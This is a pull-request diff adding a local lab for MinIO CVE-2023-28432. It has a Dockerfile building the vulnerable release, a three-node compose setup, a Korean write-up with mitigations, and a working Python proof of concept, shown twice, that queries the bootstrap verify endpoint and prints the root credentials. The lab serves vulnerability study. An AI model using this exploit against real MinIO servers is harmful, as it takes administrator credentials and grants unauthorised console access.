Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 2 additions & 0 deletions MinIO/CVE-2023-28432/.gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
.env
output/
25 changes: 25 additions & 0 deletions MinIO/CVE-2023-28432/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,25 @@
# Build the vulnerable MinIO release from its immutable upstream source commit.
FROM golang:1.19-bookworm@sha256:da9da58d86d106a5dda2ce249b00cf3b31cdd626ea41597e476de7b4eebad8c4 AS build

ARG MINIO_COMMIT=9f99b56547dafb880794690bf61f4e9c56df67ed
RUN apt-get update \
&& apt-get install -y --no-install-recommends git ca-certificates \
&& rm -rf /var/lib/apt/lists/* \
&& git clone https://github.com/minio/minio.git /src \
&& cd /src \
&& git checkout --detach "${MINIO_COMMIT}"

WORKDIR /src
RUN CGO_ENABLED=0 go build -trimpath \
-ldflags='-s -w -X github.com/minio/minio/cmd.Version=RELEASE.2023-02-27T18-10-45Z' \
-o /out/minio .

FROM debian:bookworm-slim@sha256:60eac759739651111db372c07be67863818726f754804b8707c90979bda511df
RUN useradd --system --uid 10001 --create-home minio \
&& mkdir -p /mnt/data1 /mnt/data2 /mnt/data3 \
&& chown -R minio:minio /mnt
COPY --from=build /out/minio /usr/local/bin/minio

USER minio
EXPOSE 9000 9001
ENTRYPOINT ["minio"]
145 changes: 145 additions & 0 deletions MinIO/CVE-2023-28432/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,145 @@
# MinIO CVE-2023-28432 실습

## 뭐가 문제인가

이번에 해 본 건 MinIO의 CVE-2023-28432이다. MinIO는 S3처럼 파일을 저장하는 서버인데, 여러 대를 묶어서 쓰는 클러스터 환경에서 예전 버전은 인증 없이 내부 환경변수를 보여 주는 문제가 있었다.

요청하는 주소는 `/minio/bootstrap/v1/verify`이다. 원래 외부에 보여 주면 안 되는 정보인데, 취약한 버전에서는 여기 응답에 `MINIO_ROOT_USER`, `MINIO_ROOT_PASSWORD`가 같이 들어온다. 결국 공격자가 관리자 계정을 알아내는 상황이다.

- CVE: [CVE-2023-28432](https://nvd.nist.gov/vuln/detail/CVE-2023-28432)
- 취약 버전: `RELEASE.2019-12-17T23-16-33Z` 이상, `RELEASE.2023-03-20T20-16-18Z` 미만
- 실습에 사용한 버전: `RELEASE.2023-02-27T18-10-45Z`
- CVSS: 7.5 (High)

## 환경 만들기

MinIO를 한 대만 실행하면 이 취약점 조건이 맞지 않아서 node1~node3, 총 3개를 띄웠다. `docker-compose.yml` 하나로 묶었고, API와 콘솔은 내 PC에서만 열리도록 `127.0.0.1`에 연결했다.

| 구분 | 값 |
| --- | --- |
| API | `http://127.0.0.1:9000` |
| 웹 콘솔 | `http://127.0.0.1:9001` |
| 테스트 계정 | `minioadmin` / `minioadmin-vulhub` |

이미 만들어진 취약 이미지에만 의존하지 않도록 Dockerfile에서 MinIO 소스를 직접 빌드하게 했다. 사용한 소스 커밋은 `9f99b56547dafb880794690bf61f4e9c56df67ed`으로 고정했다.

실행은 PowerShell에서 아래 순서로 했다. Docker Desktop이 먼저 켜져 있어야 한다.

```powershell
cd MinIO/CVE-2023-28432
docker compose down -v
docker compose up --build -d
docker compose ps
```

처음에는 빌드 시간이 좀 걸렸다. 마지막 명령에서 node1, node2, node3가 전부 `Up`으로 나오면 됐다.

## 재현

취약 조건은 생각보다 단순하다. MinIO가 클러스터 모드여야 하고, 패치 전 버전이어야 하며, 공격자가 9000 포트까지 접근할 수 있으면 된다. 로그인이나 사용자 클릭은 필요 없다.

PoC는 `poc.py`로 만들었다. 다른 라이브러리를 설치하지 않고 Python 기본 라이브러리로 POST 요청만 보냈다.

```powershell
python .\poc.py
```

제출한 `poc.py` 전체 코드는 아래와 같다.

```python
#!/usr/bin/env python3
"""Local-lab PoC for CVE-2023-28432 (MinIO cluster information disclosure)."""

import argparse
import json
import sys
import urllib.error
import urllib.request


def main() -> int:
parser = argparse.ArgumentParser(description="CVE-2023-28432 local MinIO PoC")
parser.add_argument("--url", default="http://127.0.0.1:9000", help="target base URL")
args = parser.parse_args()
url = args.url.rstrip("/") + "/minio/bootstrap/v1/verify"

request = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(request, timeout=10) as response:
body = response.read().decode("utf-8")
except urllib.error.URLError as error:
print(f"[!] Request failed: {error}", file=sys.stderr)
return 1

try:
payload = json.loads(body)
except json.JSONDecodeError:
print("[!] Unexpected non-JSON response:", file=sys.stderr)
print(body, file=sys.stderr)
return 1

environment = payload.get("MinioEnv", payload.get("minioEnv", ""))
if not environment:
print("[!] The response did not contain MinioEnv; check target version and cluster state.")
return 1
if isinstance(environment, dict):
leaked = [f"{key}={value}" for key, value in environment.items()
if key.startswith("MINIO_ROOT_")]
else:
leaked = [line for line in environment.split("\n")
if line.startswith("MINIO_ROOT_")]

if not leaked:
print("[!] MinioEnv was returned, but root credentials were not found.")
return 1

print("[+] Vulnerable endpoint returned MinIO process environment:")
for line in leaked:
print(f" {line}")
print("[+] CVE-2023-28432 reproduced.")
return 0


if __name__ == "__main__":
raise SystemExit(main())
```

응답에서 `MinioEnv`를 읽고 `MINIO_ROOT_`로 시작하는 값만 출력하게 했다.

## 결과

PoC를 실행하자 로그인 정보가 아래처럼 바로 나왔다.

```text
[+] Vulnerable endpoint returned MinIO process environment:
MINIO_ROOT_PASSWORD=minioadmin-vulhub
MINIO_ROOT_USER=minioadmin
[+] CVE-2023-28432 reproduced.
```

![PoC 실행 결과](screenshots/poc-result.png)

출력된 ID와 비밀번호를 그대로 넣어서 `http://127.0.0.1:9001`에 로그인해 봤다. 아래는 PoC에서 얻은 `minioadmin` 계정을 입력한 화면이다.

![PoC로 얻은 계정 입력](screenshots/login-input.png)

로그인 후 MinIO Console에 들어갈 수 있었다. 비밀번호 노출로 끝나는 게 아니라 관리자 콘솔 접근까지 가능한 것을 확인했다.

![MinIO Console 로그인 결과](screenshots/console-login.png)

## 대응 방법

가장 먼저 할 일은 MinIO를 `RELEASE.2023-03-20T20-16-18Z` 이상으로 올리는 것이다. 이미 취약한 버전을 썼다면 root 계정 비밀번호와 기존 접근 키도 바꿔야 한다.

그리고 9000 포트를 외부에 바로 열어 두지 않는 것도 중요하다. 꼭 필요한 서버만 접근하도록 방화벽이나 보안 그룹으로 제한하고, 비밀번호는 환경변수에 오래 두기보다 별도 Secret 관리 도구로 관리하는 게 좋다.

실습을 끝낼 때는 아래 명령으로 컨테이너와 볼륨을 지웠다.

```powershell
docker compose down -v
```

## 참고

- [NVD - CVE-2023-28432](https://nvd.nist.gov/vuln/detail/CVE-2023-28432)
- [MinIO Security Advisory](https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q)
49 changes: 49 additions & 0 deletions MinIO/CVE-2023-28432/docker-compose.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,49 @@
services:
node1:
build:
context: .
image: kr-vulhub-minio-cve-2023-28432:local
environment:
MINIO_ROOT_USER: minioadmin
MINIO_ROOT_PASSWORD: minioadmin-vulhub
command: server --console-address :9001 http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3
hostname: node1
ports:
- "127.0.0.1:9000:9000"
- "127.0.0.1:9001:9001"
volumes:
- node1-data:/mnt/data1
networks:
- minio-net

node2:
image: kr-vulhub-minio-cve-2023-28432:local
environment:
MINIO_ROOT_USER: minioadmin
MINIO_ROOT_PASSWORD: minioadmin-vulhub
command: server --console-address :9001 http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3
hostname: node2
volumes:
- node2-data:/mnt/data2
networks:
- minio-net

node3:
image: kr-vulhub-minio-cve-2023-28432:local
environment:
MINIO_ROOT_USER: minioadmin
MINIO_ROOT_PASSWORD: minioadmin-vulhub
command: server --console-address :9001 http://node1:9000/mnt/data1 http://node2:9000/mnt/data2 http://node3:9000/mnt/data3
hostname: node3
volumes:
- node3-data:/mnt/data3
networks:
- minio-net

volumes:
node1-data:
node2-data:
node3-data:

networks:
minio-net:
53 changes: 53 additions & 0 deletions MinIO/CVE-2023-28432/poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
#!/usr/bin/env python3
"""Local-lab PoC for CVE-2023-28432 (MinIO cluster information disclosure)."""

import argparse
import json
import sys
import urllib.error
import urllib.request


def main() -> int:
parser = argparse.ArgumentParser(description="CVE-2023-28432 local MinIO PoC")
parser.add_argument("--url", default="http://127.0.0.1:9000", help="target base URL")
args = parser.parse_args()
url = args.url.rstrip("/") + "/minio/bootstrap/v1/verify"

request = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(request, timeout=10) as response:
body = response.read().decode("utf-8")
except urllib.error.URLError as error:
print(f"[!] Request failed: {error}", file=sys.stderr)
return 1

try:
payload = json.loads(body)
except json.JSONDecodeError:
print("[!] Unexpected non-JSON response:", file=sys.stderr)
print(body, file=sys.stderr)
return 1

environment = payload.get("MinioEnv", payload.get("minioEnv", ""))
if not environment:
print("[!] The response did not contain MinioEnv; check target version and cluster state.")
return 1

if isinstance(environment, dict):
leaked = [f"{key}={value}" for key, value in environment.items() if key.startswith("MINIO_ROOT_")]
else:
leaked = [line for line in environment.split("\n") if line.startswith("MINIO_ROOT_")]
if not leaked:
print("[!] MinioEnv was returned, but root credentials were not found.")
return 1

print("[+] Vulnerable endpoint returned MinIO process environment:")
for line in leaked:
print(f" {line}")
print("[+] CVE-2023-28432 reproduced.")
return 0


if __name__ == "__main__":
raise SystemExit(main())
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added MinIO/CVE-2023-28432/screenshots/login-input.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Binary file added MinIO/CVE-2023-28432/screenshots/poc-result.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -64,6 +64,10 @@
- [CVE-2019-10758](./MongoExpress/CVE-2019-10758/README.md) — mongo-express 원격 코드 실행
- Contributor: [@ilohas0021](https://github.com/ilohas0021) | Risk Score: 9.8 (Reproducibility: 80%)

- **MinIO** — S3 호환 오브젝트 스토리지 서버
- [CVE-2023-28432](./MinIO/CVE-2023-28432/README.md) — 분산 클러스터 환경변수 노출을 통한 관리자 계정 탈취
- Contributor: [@kkinomalo](https://github.com/kkinomalo) | Risk Score: 7.5 (Reproducibility: 100%)

- **MySQL** — 관계형 데이터베이스
- [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) — MySQL Authentication Bypass
- Contributor: [@baethwjd2](https://github.com/baethwjd2) | Risk Score: 7.0 (Reproducibility: 70%)
Expand Down